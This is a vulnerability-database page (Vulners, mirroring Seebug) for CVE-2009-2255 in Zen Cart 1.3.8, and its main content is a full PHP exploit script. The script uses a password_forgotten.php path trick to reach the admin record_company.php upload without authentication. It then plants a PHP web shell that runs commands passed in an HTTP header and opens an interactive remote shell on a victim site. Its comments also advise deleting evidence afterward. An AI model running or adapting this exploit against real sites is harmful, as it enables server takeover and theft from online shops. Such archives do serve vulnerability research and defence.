Lucene search
K

Zen Cart record_company.php模块远程代码执行漏洞

🗓️ 05 Sep 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 33 Views

Zen Cart record_company.php module remote code execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2255
23 Jun 200900:00
circl
CVE
CVE-2009-2255
30 Jun 200910:00
cve
Cvelist
CVE-2009-2255
30 Jun 200910:00
cvelist
Dsquare
Zen Cart 1.3.8a File Upload
30 Apr 201200:00
dsquare
NVD
CVE-2009-2255
30 Jun 200910:30
nvd
OpenVAS
Zen Cart <= 1.3.8a Multiple Vulnerabilities
3 Jul 200900:00
openvas
Prion
Design/Logic Flaw
30 Jun 200910:30
prion
Tenable Nessus
Zen Cart password_forgotten.php Admin Access Bypass
24 Jun 200900:00
nessus
canvas
Immunity Canvas: ZENCART_REMOTE
30 Jun 200910:30
canvas

                                                 #!/usr/bin/php  
&lt;?php  
  
#  
# ------- Zen Cart 1.3.8 Remote Code Execution  
# http://www.zen-cart.com/  
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!  
# A new version (1.3.8a)  is avaible on http://www.zen-cart.com/  
#  
# BlackH :)  
#  
  
error_reporting(E_ALL ^ E_NOTICE);  
if($argc &lt; 2)  
{  
echo &quot;  
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit  ____________=  
========================================================================  
|                  BlackH &lt;[email protected]&gt;                          |  
========================================================================  
|                                                                      |  
| \$system&gt; php $argv[0] &lt;url&gt;                                        |  
| Notes: &lt;url&gt;      ex: http://victim.com/site (no slash)              |  
|                                                                      |  
========================================================================  
&quot;;exit(1);  
}  
  
  
$url = $argv[1];  
$trick = &quot;/password_forgotten.php&quot;;  
  
$xpl = new phpsploit();  
$xpl-&gt;agent(&quot;Mozilla Firefox&quot;);  
  
$real_kthxbye = remote_exec($url);  
  
# Remote Code Execution Exploit  
function remote_exec($url) {  
    global $xpl, $url, $trick;  
      
    echo &quot;\n[-] Remote Code Execution&quot;;  
  
    if(!$xpl-&gt;get($url.'/admin/')) die(&quot;\n[!] error - the /admin/ directory is protected or don't exist.\n&quot;);  
      
    $n = substr(md5(rand(0, 1337)), 0, 5).&quot;.php&quot;; # random php file  
    $code = '&lt;?php system($_SERVER[&quot;HTTP_SHELL&quot;]); ?&gt;';  
      
    $form = array(frmdt_url =&gt; $url.&quot;/admin/record_company.php&quot;.$trick.&quot;?action=insert&quot;,  
            &quot;record_company_name&quot; =&gt; &quot;0&quot;,  
            &quot;record_company_image&quot; =&gt; array(frmdt_type =&gt; &quot;tgreal/suce&quot;, # it works ! o_O  
                                            frmdt_filename =&gt; $n,  
                                            frmdt_content =&gt; $code));  
  
    if($xpl-&gt;formdata($form)) echo &quot;\n[!] Done - Start Shell: &quot;.$n;  
    else die(&quot;\n[!] error - can't upload the shell\n&quot;);  
  
    print &quot;\nrce@jah\$&gt; &quot;;  
  
    while(!preg_match(&quot;#^(quit|exit)$#&quot;,($cmd = trim(fgets(STDIN))))){  
        $xpl-&gt;addheader('SHELL',$cmd);  
        $xpl-&gt;get($url.'/images/'.$n);      
        print $xpl-&gt;getcontent().&quot;\nrce@jah$&gt; &quot;;  
        # don't forget to &quot;rm *.php&quot; and exit  
        # you can use &quot;Zen Cart 1.3.8 Remote SQL Execution Exploit&quot;   
        #  to clean the database (record_company &amp; record_company_info)  
    }  
}  
  
class phpsploit  
{  
    var $proxyhost;  
    var $proxyport;  
    var $host;  
    var $path;  
    var $port;  
    var $method;  
    var $url;  
    var $packet;  
    var $proxyuser;  
    var $proxypass;  
    var $header;  
    var $cookie;  
    var $data;  
    var $boundary;  
    var $allowredirection;  
    var $last_redirection;  
    var $cookiejar;  
    var $recv;  
    var $cookie_str;  
    var $header_str;  
    var $server_content;  
    var $server_header;  
      
  
    /** 
     * This function is called by the 
     * get()/post()/formdata() functions. 
     * You don't have to call it, this is 
     * the main function. 
     * 
     * @access private 
     * @return string $this-&gt;recv ServerResponse 
     *  
     */  
    function sock()  
    {  
        if(!emptyempty($this-&gt;proxyhost) &amp;&amp; !emptyempty($this-&gt;proxyport))  
           $socket = @fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);  
        else  
           $socket = @fsockopen($this-&gt;host,$this-&gt;port);  
          
        if(!$socket)  
           die(&quot;Error: Host seems down&quot;);  
          
        if($this-&gt;method=='get')  
           $this-&gt;packet = 'GET '.$this-&gt;url.&quot; HTTP/1.1\r\n&quot;;  
             
        elseif($this-&gt;method=='post' or $this-&gt;method=='formdata')  
           $this-&gt;packet = 'POST '.$this-&gt;url.&quot; HTTP/1.1\r\n&quot;;  
             
        else  
           die(&quot;Error: Invalid method&quot;);  
          
        if(!emptyempty($this-&gt;proxyuser))  
           $this-&gt;packet .= 'Proxy-Authorization: Basic '.base64_encode($this-&gt;proxyuser.':'.$this-&gt;proxypass).&quot;\r\n&quot;;  
          
        if(!emptyempty($this-&gt;header))  
           $this-&gt;packet .= $this-&gt;showheader();  
             
        if(!emptyempty($this-&gt;cookie))  
           $this-&gt;packet .= 'Cookie: '.$this-&gt;showcookie().&quot;\r\n&quot;;  
      
        $this-&gt;packet .= 'Host: '.$this-&gt;host.&quot;\r\n&quot;;  
        $this-&gt;packet .= &quot;Connection: Close\r\n&quot;;  
          
        if($this-&gt;method=='post')  
        {  
            $this-&gt;packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;  
            $this-&gt;packet .= 'Content-Length: '.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;  
            $this-&gt;packet .= $this-&gt;data.&quot;\r\n&quot;;  
        }  
        elseif($this-&gt;method=='formdata')  
        {  
            $this-&gt;packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this-&gt;boundary.&quot;\r\n&quot;;  
            $this-&gt;packet .= 'Content-Length: '.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;  
            $this-&gt;packet .= $this-&gt;data;  
        }  
  
        $this-&gt;packet .= &quot;\r\n&quot;;  
        $this-&gt;recv = '';  
  
        fputs($socket,$this-&gt;packet);  
  
        while(!feof($socket))  
           $this-&gt;recv .= fgets($socket);  
  
        fclose($socket);  
  
        if($this-&gt;cookiejar)  
           $this-&gt;getcookie();  
  
        if($this-&gt;allowredirection)  
           return $this-&gt;getredirection();  
        else  
           return $this-&gt;recv;  
    }  
      
  
    /** 
     * This function allows you to add several 
     * cookies in the request. 
     *  
     * @access  public 
     * @param   string cookn CookieName 
     * @param   string cookv CookieValue 
     * @example $this-&gt;addcookie('name','value') 
     *  
     */  
    function addcookie($cookn,$cookv)  
    {  
        if(!isset($this-&gt;cookie))  
           $this-&gt;cookie = array();  
  
        $this-&gt;cookie[$cookn] = $cookv;  
    }  
  
  
    /** 
     * This function allows you to add several 
     * headers in the request. 
     * 
     * @access  public 
     * @param   string headern HeaderName 
     * @param   string headervalue Headervalue 
     * @example $this-&gt;addheader('Client-IP', '128.5.2.3') 
     *  
     */  
    function addheader($headern,$headervalue)  
    {  
        if(!isset($this-&gt;header))  
           $this-&gt;header = array();  
             
        $this-&gt;header[$headern] = $headervalue;  
    }  
  
  
    /** 
     * This function allows you to use an 
     * http proxy server. Several methods 
     * are supported. 
     *  
     * @access  public 
     * @param   string proxy ProxyHost 
     * @param   integer proxyp ProxyPort 
     * @example $this-&gt;proxy('localhost',8118) 
     * @example $this-&gt;proxy('localhost:8118') 
     *  
     */  
    function proxy($proxy,$proxyp='')  
    {  
        if(emptyempty($proxyp))  
        {  
            $proxarr = explode(':',$proxy);  
            $this-&gt;proxyhost = $proxarr[0];  
            $this-&gt;proxyport = (int)$proxarr[1];  
        }  
        else   
        {  
            $this-&gt;proxyhost = $proxy;  
            $this-&gt;proxyport = (int)$proxyp;  
        }  
  
        if($this-&gt;proxyport &gt; 65535)  
           die(&quot;Error: Invalid port number&quot;);  
    }  
      
  
    /** 
     * This function allows you to use an 
     * http proxy server which requires a 
     * basic authentification. Several 
     * methods are supported: 
     * 
     * @access  public 
     * @param   string proxyauth ProxyUser 
     * @param   string proxypass ProxyPass 
     * @example $this-&gt;proxyauth('user','pwd') 
     * @example $this-&gt;proxyauth('user:pwd'); 
     *  
     */  
    function proxyauth($proxyauth,$proxypass='')  
    {  
        if(emptyempty($proxypass))  
        {  
            $posvirg = strpos($proxyauth,':');  
            $this-&gt;proxyuser = substr($proxyauth,0,$posvirg);  
            $this-&gt;proxypass = substr($proxyauth,$posvirg+1);  
        }  
        else  
        {  
            $this-&gt;proxyuser = $proxyauth;  
            $this-&gt;proxypass = $proxypass;  
        }  
    }  
  
  
    /** 
     * This function allows you to set 
     * the 'User-Agent' header. 
     *  
     * @access  public 
     * @param   string useragent Agent 
     * @example $this-&gt;agent('Firefox') 
     *  
     */  
    function agent($useragent)  
    {  
        $this-&gt;addheader('User-Agent',$useragent);  
    }  
  
      
    /** 
     * This function returns the headers 
     * which will be in the next request. 
     *  
     * @access  public 
     * @return  string $this-&gt;header_str Headers 
     * @example $this-&gt;showheader() 
     *  
     */  
    function showheader()  
    {  
        $this-&gt;header_str = '';  
          
        if(!isset($this-&gt;header))  
           return;  
             
        foreach($this-&gt;header as $name =&gt; $value)  
           $this-&gt;header_str .= $name.': '.$value.&quot;\r\n&quot;;  
             
        return $this-&gt;header_str;  
    }  
  
      
    /** 
     * This function returns the cookies 
     * which will be in the next request. 
     *  
     * @access  public 
     * @return  string $this-&gt;cookie_str Cookies 
     * @example $this-&gt;showcookie() 
     *  
     */  
    function showcookie()  
    {  
        $this-&gt;cookie_str = '';  
          
        if(!isset($this-&gt;cookie))  
           return;  
          
        foreach($this-&gt;cookie as $name =&gt; $value)  
           $this-&gt;cookie_str .= $name.'='.$value.'; ';  
  
        return $this-&gt;cookie_str;  
    }  
  
  
    /** 
     * This function returns the last 
     * formed http request. 
     *  
     * @access  public 
     * @return  string $this-&gt;packet HttpPacket 
     * @example $this-&gt;showlastrequest() 
     *  
     */  
    function showlastrequest()  
    {  
        if(!isset($this-&gt;packet))  
           return;  
        else  
           return $this-&gt;packet;  
    }  
  
  
    /** 
     * This function sends the formed 
     * http packet with the GET method. 
     *  
     * @access  public 
     * @param   string url Url 
     * @return  string $this-&gt;sock() 
     * @example $this-&gt;get('localhost/index.php?var=x') 
     * @example $this-&gt;get('http://localhost:88/tst.php') 
     *  
     */  
    function get($url)  
    {  
        $this-&gt;target($url);  
        $this-&gt;method = 'get';  
        return $this-&gt;sock();  
    }  
  
      
    /** 
     * This function sends the formed 
     * http packet with the POST method. 
     * 
     * @access  public 
     * @param   string url  Url 
     * @param   string data PostData 
     * @return  string $this-&gt;sock() 
     * @example $this-&gt;post('http://localhost/','helo=x') 
     *  
     */      
    function post($url,$data)  
    {  
        $this-&gt;target($url);  
        $this-&gt;method = 'post';  
        $this-&gt;data = $data;  
        return $this-&gt;sock();  
    }  
      
  
    /** 
     * This function sends the formed http 
     * packet with the POST method using 
     * the multipart/form-data enctype. 
     *  
     * @access  public 
     * @param   array array FormDataArray 
     * @return  string $this-&gt;sock() 
     * @example $formdata = array( 
     *                      frmdt_url =&gt; 'http://localhost/upload.php', 
     *                      frmdt_boundary =&gt; '123456', # Optional 
     *                      'var' =&gt; 'example', 
     *                      'file' =&gt; array( 
     *                                frmdt_type =&gt; 'image/gif',  # Optional 
     *                                frmdt_transfert =&gt; 'binary' # Optional 
     *                                frmdt_filename =&gt; 'hello.php, 
     *                                frmdt_content =&gt; '&lt;?php echo 1; ?&gt;')); 
     *          $this-&gt;formdata($formdata); 
     *  
     */  
    function formdata($array)  
    {  
        $this-&gt;target($array[frmdt_url]);  
        $this-&gt;method = 'formdata';  
        $this-&gt;data = '';  
          
        if(!isset($array[frmdt_boundary]))  
           $this-&gt;boundary = 'phpsploit';  
        else  
           $this-&gt;boundary = $array[frmdt_boundary];  
  
        foreach($array as $key =&gt; $value)  
        {  
            if(!preg_match('#^frmdt_(boundary|url)#',$key))  
            {  
                $this-&gt;data .= str_repeat('-',29).$this-&gt;boundary.&quot;\r\n&quot;;  
                $this-&gt;data .= 'Content-Disposition: form-data; name=&quot;'.$key.'&quot;;';  
                  
                if(!is_array($value))  
                {  
                    $this-&gt;data .= &quot;\r\n\r\n&quot;.$value.&quot;\r\n&quot;;  
                }  
                else  
                {  
                    $this-&gt;data .= ' filename=&quot;'.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;  
  
                    if(isset($array[$key][frmdt_type]))  
                       $this-&gt;data .= 'Content-Type: '.$array[$key][frmdt_type].&quot;\r\n&quot;;  
  
                    if(isset($array[$key][frmdt_transfert]))  
                       $this-&gt;data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert].&quot;\r\n&quot;;  
  
                    $this-&gt;data .= &quot;\r\n&quot;.$array[$key][frmdt_content].&quot;\r\n&quot;;  
                }  
            }  
        }  
  
        $this-&gt;data .= str_repeat('-',29).$this-&gt;boundary.&quot;--\r\n&quot;;  
        return $this-&gt;sock();  
    }  
  
      
    /** 
     * This function returns the content 
     * of the server response, without 
     * the headers. 
     *  
     * @access  public 
     * @param   string code ServerResponse 
     * @return  string $this-&gt;server_content 
     * @example $this-&gt;getcontent() 
     * @example $this-&gt;getcontent($this-&gt;get('http://localhost/')) 
     *  
     */  
    function getcontent($code='')  
    {  
        if(emptyempty($code))  
           $code = $this-&gt;recv;  
  
        $code = explode(&quot;\r\n\r\n&quot;,$code);  
        $this-&gt;server_content = '';  
          
        for($i=1;$i&lt;count($code);$i++)  
           $this-&gt;server_content .= $code[$i];  
  
        return $this-&gt;server_content;  
    }  
  
      
    /** 
     * This function returns the headers 
     * of the server response, without 
     * the content. 
     *  
     * @access  public 
     * @param   string code ServerResponse 
     * @return  string $this-&gt;server_header 
     * @example $this-&gt;getcontent() 
     * @example $this-&gt;getcontent($this-&gt;post('http://localhost/','1=2')) 
     *  
     */  
    function getheader($code='')  
    {  
        if(emptyempty($code))  
           $code = $this-&gt;recv;  
  
        $code = explode(&quot;\r\n\r\n&quot;,$code);  
        $this-&gt;server_header = $code[0];  
          
        return $this-&gt;server_header;  
    }  
  
      
    /** 
     * This function is called by the 
     * cookiejar() function. It adds the 
     * value of the &quot;Set-Cookie&quot; header 
     * in the &quot;Cookie&quot; header for the 
     * next request. You don't have to 
     * call it. 
     *  
     * @access private 
     * @param  string code ServerResponse 
     *  
     */  
    function getcookie()  
    {  
        foreach(explode(&quot;\r\n&quot;,$this-&gt;getheader()) as $header)  
        {  
            if(preg_match('/set-cookie/i',$header))  
            {  
                $fequal = strpos($header,'=');  
                $fvirgu = strpos($header,';');  
                  
                // 12=strlen('set-cookie: ')  
                $cname  = substr($header,12,$fequal-12);  
                $cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));  
                  
                $this-&gt;cookie[trim($cname)] = trim($cvalu);  
            }  
        }  
    }  
  
  
    /** 
     * This function is called by the 
     * get()/post() functions. You 
     * don't have to call it. 
     * 
     * @access  private 
     * @param   string urltarg Url 
     * @example $this-&gt;target('http://localhost/') 
     *  
     */  
    function target($urltarg)  
    {  
        if(!ereg('^http://',$urltarg))  
           $urltarg = 'http://'.$urltarg;  
             
        $urlarr     = parse_url($urltarg);  
        $this-&gt;url  = 'http://'.$urlarr['host'].$urlarr['path'];  
          
        if(isset($urlarr['query']))  
           $this-&gt;url .= '?'.$urlarr['query'];  
          
        $this-&gt;port = !emptyempty($urlarr['port']) ? $urlarr['port'] : 80;  
        $this-&gt;host = $urlarr['host'];  
          
        if($this-&gt;port != '80')  
           $this-&gt;host .= ':'.$this-&gt;port;  
  
        if(!isset($urlarr['path']) or emptyempty($urlarr['path']))  
           die(&quot;Error: No path precised&quot;);  
  
        $this-&gt;path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);  
  
        if($this-&gt;port &gt; 65535)  
           die(&quot;Error: Invalid port number&quot;);  
    }  
      
      
    /** 
     * If you call this function, 
     * the script will extract all 
     * 'Set-Cookie' headers values 
     * and it will automatically add 
     * them into the 'Cookie' header 
     * for all next requests. 
     * 
     * @access  public 
     * @param   integer code 1(enabled) 0(disabled) 
     * @example $this-&gt;cookiejar(0) 
     * @example $this-&gt;cookiejar(1) 
     *  
     */  
    function cookiejar($code)  
    {  
        if($code=='0')  
           $this-&gt;cookiejar=FALSE;  
  
        elseif($code=='1')  
           $this-&gt;cookiejar=TRUE;  
    }  
  
  
    /** 
     * If you call this function, 
     * the script will follow all 
     * redirections sent by the server. 
     *  
     * @access  public 
     * @param   integer code 1(enabled) 0(disabled) 
     * @example $this-&gt;allowredirection(0) 
     * @example $this-&gt;allowredirection(1) 
     *  
     */  
    function allowredirection($code)  
    {  
        if($code=='0')  
           $this-&gt;allowredirection=FALSE;  
             
        elseif($code=='1')  
           $this-&gt;allowredirection=TRUE;  
    }  
  
      
    /** 
     * This function is called if 
     * allowredirection() is enabled. 
     * You don't have to call it. 
     * 
     * @access private 
     * @return string $this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection) 
     * @return string $this-&gt;get($this-&gt;last_redirection) 
     * @return string $this-&gt;recv; 
     *  
     */  
    function getredirection()  
    {  
        if(preg_match('/(location|content-location|uri): (.*)/i',$this-&gt;getheader(),$codearr))  
        {  
            $this-&gt;last_redirection = trim($codearr[2]);  
              
            if(!ereg('://',$this-&gt;last_redirection))  
               return $this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection);  
  
            else  
               return $this-&gt;get($this-&gt;last_redirection);  
        }  
        else  
           return $this-&gt;recv;  
    }  
  
  
    /** 
     * This function allows you 
     * to reset some parameters. 
     *  
     * @access  public 
     * @param   string func Param 
     * @example $this-&gt;reset('header') 
     * @example $this-&gt;reset('cookie') 
     * @example $this-&gt;reset() 
     *  
     */  
    function reset($func='')  
    {  
        switch($func)  
        {  
            case 'header':  
            $this-&gt;header = array('');  
            break;  
                  
            case 'cookie':  
            $this-&gt;cookie = array('');  
            break;  
                  
            default:  
            $this-&gt;cookiejar = '';  
            $this-&gt;header = array('');  
            $this-&gt;cookie = array('');  
            $this-&gt;allowredirection = '';  
            break;  
        }  
    }  
}  
  
?&gt;  
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2009 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.35175
33